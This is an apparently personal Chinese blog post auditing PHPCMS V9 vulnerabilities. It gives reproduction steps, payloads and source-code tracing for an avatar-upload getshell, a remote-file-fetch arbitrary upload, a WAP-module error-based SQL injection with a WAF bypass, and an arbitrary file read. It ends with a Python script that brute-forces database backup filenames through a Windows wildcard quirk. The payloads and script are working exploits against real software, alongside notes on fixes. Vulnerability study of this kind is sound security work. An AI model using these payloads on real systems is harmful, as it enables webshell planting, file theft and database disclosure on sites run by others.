学习代码审计,自己简单记录一下。如有错误望师傅斧正。

PHPCMS预备知识

PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。

参数名称 描述 位置 备注
m 模型/模块名称 phpcms/modules中模块目录名称 必须
c 控制器名称 phpcms/modules/模块/*.php 文件名称 必须
a 事件名称 phpcms/modules/模块/*.php 中方法名称

PHPCMSV9.2上传Getshell

漏洞复现

我们搭建好环境直接注册,找到修改头像。

)

我们在本地创建一个zip文件里面包含一个文件夹,一个我们的恶意代码。通过Burp修改掉。

访问phpsso_server/uploadfile/avatar/1/1/1/av/av.php 其中1是我们的uid

漏洞分析

重复以上步骤。通过burp我们找到上传事件,我们直接去代码定位这个函数。

然后去代码找到函数直接断点调试

根据用户UID创建文件夹,防止用户多了文件夹重复创建了两次,然后检测目录创建,没有就创建一次,否则跳过。

根据uid重命名我们的压缩包文件

压缩包的文件就是我们上传的压缩包文件

之后进行解压缩文件

之后进入dir中循环判断文件安全,删除压缩包和非jpg图片

走到遍历白名单判断文件,排除.(当前目录)..(上级目录)下图删除了压缩包文件

再次循环时$file=av 而av是目录。unlink是不能删除目录的。所以出现异常。

所以进而我们的恶意文件留在了服务器里面。这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下

漏洞修复

不使用zip压缩包处理图片文件。因为后端需要处理特别多的数据。

PHPCMSV9.6.0任意文件上传漏洞

漏洞复现

先注册然后抓包

其中要准备一个远程的服务器下的恶意代码

准备我们的POC如下

siteid=1&modelid=11&username=123456&password=123456&email=12345@qq.com&info[content]=<img src=http://192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

然后修改放包会报一个错误,会返回我们的URL路径

漏洞分析

我们直接找到刚刚我们的包,他是在index.php进入member模块中的index文件里面有一个register函数

我们现在打开我们的代码定位函数,路径如下

为了更好的理解POC的巧妙。我们正常注册一次然后用POC注册一次分析

前面就是一堆信息的验证作用不大,我们继续跟踪到130行

if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); //重点 }

在这里我们看见$_POST['info']使用了member_input类中的get方法我们跟踪进去。

走到47行获取了datatime函数,this->fields是一个动态函数对应的一张表根据modelid来确定的formytpe。如下图

【也可以跟进去一步步来,微信搜索黑白天的文章。有详细解释,建议自己跟一遍】

我那们跟进去datatime函数 就是做了一校验然后又返回给$value

然后就是插入两次数据库,一个插入v9_member表一个生日日期和用户id插入到v9_member_detail表中,至此正常流程走完。

接下来我们分析一下POC流程

值得注意的是我们必须保证username email是唯一

然后我们继续定位到130行,发现content是我们的内容

经过new_html_special_chars就是防止XSS 所以实体化

于是我们变成了下面这样子。继续跟踪get方法同上

这里我们获取的是editor函数。

在这个函数中我们有一个download方法

我们跟踪download方法,发现以下关键代码

$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这就是为什么我们写info[content]=<img src-http://xxxx/phpinfo.txt?.php#.jpg(符合这个格式,而且加.jpg的原因)

到155行这里他把我们的$string值复制给了$matches

$matches [3]刚好是我们的链接,所以真的很巧妙

接着我们跟踪fillurl方法,里面有一串关键代码如下

$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

strpos定位#,然后使用substr处理?.php#.jpg,处理完之后$surl =?.php继续执行,可以发现返回的url去掉了#后面的内容

然后获取后缀名。然后通过getname方法生成时间+三位数的文件名,如果不返回文件地址的url我们也可以进行爆破处理。

此时进行了copy函数对远程文件下载

这里的$this->upload_func是copy函数的原因,是因为初始化时赋给的

此时我们的文件已经到我们的本地了

接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register 函数中:

继续跟进$this->db->insert($user_model_info); 发现数据库插入的字段都不一样继续执行就会报错。前台提示的信息一样,没有这个字段当然报错

Message : Unknown column 'content' in 'field list'

漏洞修复

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次

$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
continue;
}

PHPCMSV9.6.0 WAP模块 SQL注入分析

漏洞复现

首先第一步访问

/index.php?m=wap&c=index&siteid=1

把得到的set-cookie 记录下来

第二步以POST方式访问【下面是测试爆user的】就是一个报错注入语句

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

并且传参userid_flash其中的值就是第一步我们得到的set-cookie

userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY

把加密的json值记录下来

第三步以POST的方式访问

/index.php?m=content&c=down&a_k=第二步得到的Json值

漏洞分析

其实我们就是通过最后一次提交的数据来爆出来的东西。我们就逆向分析。看第三步的URL做了些什么

/index.php?m=content&c=down&a_k=第二步得到的Json值

我们定位到content模块down文件中发现并没有a_k方法

说明是自动执行的那就是init()__construct()

__construct()基本没东西,我们直接下断init

走到14行看到sys_auth然后他就是一个加密解密的函数,我们这里不分析加密解密只分析功能

经过sys_auth解密得到

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

走到17行发现一个系统函数parse_str 这个函数用不好容易出现变量覆盖。可以自己查一下

我们知道用法了就是把$id给弄出来

然后直接到26行跟踪get_one函数,发现后面就直接执行语句了。

肯定有人现在好奇那第三步为什么会得到这个值,我们返回到14行

$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

我们怎么得到a_k的值,怎么得到的这个规范进行解密,因为他需要('system','auth_key')我们并不知道

所以我们需要知道谁调用了这个函数

我们回到第二步的POC

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&

userid_flash=Set-Cookie

我们找到attachment模块下的attachments文件中的swfupload_json函数

src时有一个safe_replace函数我们跟进

发现一个waf所以我们的src为什么要写成%*27的原因,就是为了绕过一次waf

继续到set_cookie我们跟进去发现set_cookie调用了sys_auth这个函数并且进行了ENCODE刚好我们又可以再前台看见

至于我们为什么要传入一个POST值,是在__construct中如果没有这个userid他会showmessage

userid是17行的关键代码。我们肯定没有userid嘛所以三元表达式到第三个,他进行解密一次并且userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

现在POST值是怎么拿到的呢,回到第一步,访问的URL

/index.php?m=wap&c=index&siteid=1

我们周到wap下的index下的siteidsiteid直接就在__construct函数里面,于是经过一次set_cookie加密

我们现在来顺利一下整个过程

修复建议

把$a_k过滤一次,把$id用intval过滤一次

PHPCMS9.6.1任意文件读取

漏洞复现

步骤同上一个漏洞所以就不截图了

第一步访问把得到的set-cookie 记录下来

/index.php?m=wap&c=index&siteid=1

第二步访问

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp

同样POST传递值

userid_flash=第一步获取的Set-cookie

第三部访问

/index.php?m=content&c=down&a=init&a_k=第二步获取的set-cookie

就可以下载我们要下载的文件

漏洞分析

我们还是和wap_SQL注入那样逆向分析一下

/index.php?m=content&c=down&a=init&a_k=set-cookie

经过解密之后

{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}

经过safe_replace处理之后

&quotaid&quot:1,&quotsrc&quot:&quotpad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp&quot,&quotfilename&quot:&quot&quot

但是我们关键的是&s和&f没有任何变化

再经过parse_str处理我们的url会被解码一次

$f现在就是.p%3cphp

然后downurl发生变化我们点击下载到download函数

经过一次解密再经过parse_str转码%3c=> <

走到118行因为传递的m=1经过$fileurl把他拼接起来变成

.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl);  //118行代码

然后走到125行进行随机名称生成,126行他又把$fileurl的<给去掉了

$filename = date('Ymd_his').random(3).'.'.$ext;      //125
$fileurl = str_replace(array('<','>'), '',$fileurl); //126

然后就进行一个原始下载。

第二部分和第一部分参考上面wap_sql注入,原理一样。我们现在梳理一下这个漏洞。

从最下面分析,他过滤了<> 然后到上面php等一些黑名单 那就P<HP就可以

$fileurl是通过$s来的和$f来的。而$f和$s是通过构造$a_k来的,其中就DECODE 了两次

所以要通过siteid=1来进行ENCODE一次。我们为什么要传一个userid_flash

因为attachments下的析构函数中的userid不能为空

而我们没登陆所以需要sys_auth($_POST['userid_flash'],DECODE')解密一下传入的userid_flash使得userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));

又经过set_cookie('att_json',$json_str);然后又返回到前台set-cookie

最终通过以下方法进行了下载

index.php?m=content&c=down&a=init&a_k=set-cookie

漏洞修复

官方V9.6.2是先过滤<>再进行php等黑名单过滤,我们还是可以继续通过空白字符来进行绕过的

%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件。并且得到auth_key之后还可以进行其他的操作例如SQL注入等

PHPCMSV9暴力猜解数据库

备份路径 \caches\bakup\default\xxxx.sql

而问题出现在哪,我们先看POC。

poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

原因:

windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

pwaaov0zodprrm5371pe_db_20210715_1.sql

file_exists --- opendir -- FindFirstFile -- << 通配符

file_exists - << 通配符

333xxxx.sql

3<<.sql

file_exists(3<<.sql)

因为返回的只不同所以我们可以逐个猜解

附上斗鱼Sec脚本

#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue elif len(arr) == 20:
arr.append('_db_') elif len(arr) == 29:
arr.append('_1.sql')
break if len(arr) < 1:
print '[*]not find!'
return print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr)) if __name__ == "__main__":
url = 'http://www.x.com'
#test
guest(url)

PHPCMSV9版本代码审计学习的更多相关文章

  1. bluecms v1.6 sp1 代码审计学习

    前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...

  2. blfs(systemd版本)学习笔记-构建gnome桌面系统

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+gnome(桌面组件) 链接: lfs(systemd版本)学习笔记系列:http ...

  3. lfs(systemd版本)学习笔记-第3页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第2页 的地址:https://www.cnblogs.com/renren-study-no ...

  4. lfs(systemd版本)学习笔记-第4页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记-第3页 的地址:https://www.cnblogs.com/renren-study- ...

  5. blfs(systemd版本)学习笔记-总页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记:https://www.cnblogs.com/renren-study-notes/p/ ...

  6. lfs(systemd版本)学习笔记-第1页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 一名linux爱好者,记录构建Linux From Scratch的过程 经博客园-骏马金龙前辈介绍,开始接触学习lfs,用博客 ...

  7. lfs(systemd版本)学习笔记-第2页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...

  8. blfs(systemv版本)学习笔记-制作一个简单的桌面系统

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+i3-wm(窗口+桌面)+lightdm(显示管理器+登录管理器) 链接: lfs ...

  9. lfs(systemv版本)学习笔记-第4页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv版本)学习笔记第3页:https://www.cnblogs.com/renren-study-notes ...

随机推荐

  1. VMware Tanzu Kubernetes Grid 1.3 发布 - VMware 构建、签名和支持的开源 Kubernetes 容器编排平台的完整分发版

    Tanzu Kubernetes 集群是由 VMware 构建.签名和支持的开源 Kubernetes 容器编排平台的完整分发版.可以通过使用 Tanzu Kubernetes Grid 服务在主管集 ...

  2. CRC校验原理简介及C代码实现说明

    1 原理 参考文档:CRC校验 (qq.com) 参考书籍:<计算机网络(第7版)-谢希仁> 1.1 原理简介 CRC是一种检错方法. 在发送端,先把数据划分为组,假定每组k个比特.现假定 ...

  3. Jmeter- 笔记10 - 在GUI生成html报告

    步骤1.在聚合报告,浏览一个存放jtl文件的路径,输入不存在的jtl文件,确定后会出现如下图弹窗,不用理会,关掉 步骤2.运行脚本 步骤3.打开工具 -> Generate HTML repor ...

  4. 用NVIDIA-TensorRT构造深度神经网络

    用NVIDIA-TensorRT构造深度神经网络 Deploying Deep Neural Networks with NVIDIA TensorRT NVIDIA TensorRT是一个用于生产环 ...

  5. vscode使用版本控制git commit unstaged时提示对话框的设置

    使用 vscode 版本控制提交代码时,如果有 unstaged file,会有一个弹出框: 选择 always 或者 never ,这个框下次就不再弹出了. 如果你想让他再次出现,请去setting ...

  6. Python小白的数学建模课-07 选址问题

    选址问题是要选择设施位置使目标达到最优,是数模竞赛中的常见题型. 小白不一定要掌握所有的选址问题,但要能判断是哪一类问题,用哪个模型. 进一步学习 PuLP工具包中处理复杂问题的字典格式快捷建模方法. ...

  7. 基于Typescript的Vue项目配置国际化

    基于Typescript的Vue项目配置国际化 简介 使用vue-i18n插件对基于Typescript的vue项目配置国际化,切换多种语言, 配合element-ui或者其他UI库 本文以配置中英文 ...

  8. 【NX二次开发】Block UI 属性类型

     Block UI 属性类型的读写总结: 帮助文件 NXOpen::BlockStyler::UIBlock::GetProperties() String类型 //设置值 this->块ID- ...

  9. kafka基础知识梳理

    一.Kafka的基本概念 关键字: 分布式发布订阅消息系统:分布式的,分区的消息服务 Kafka是一种高吞吐量的分布式发布订阅消息系统,使用Scala编写. 对于熟悉JMS(Java Message ...

  10. Java源码分析:Guava之不可变集合ImmutableMap的源码分析

    一.案例场景 遇到过这样的场景,在定义一个static修饰的Map时,使用了大量的put()方法赋值,就类似这样-- public static final Map<String,String& ...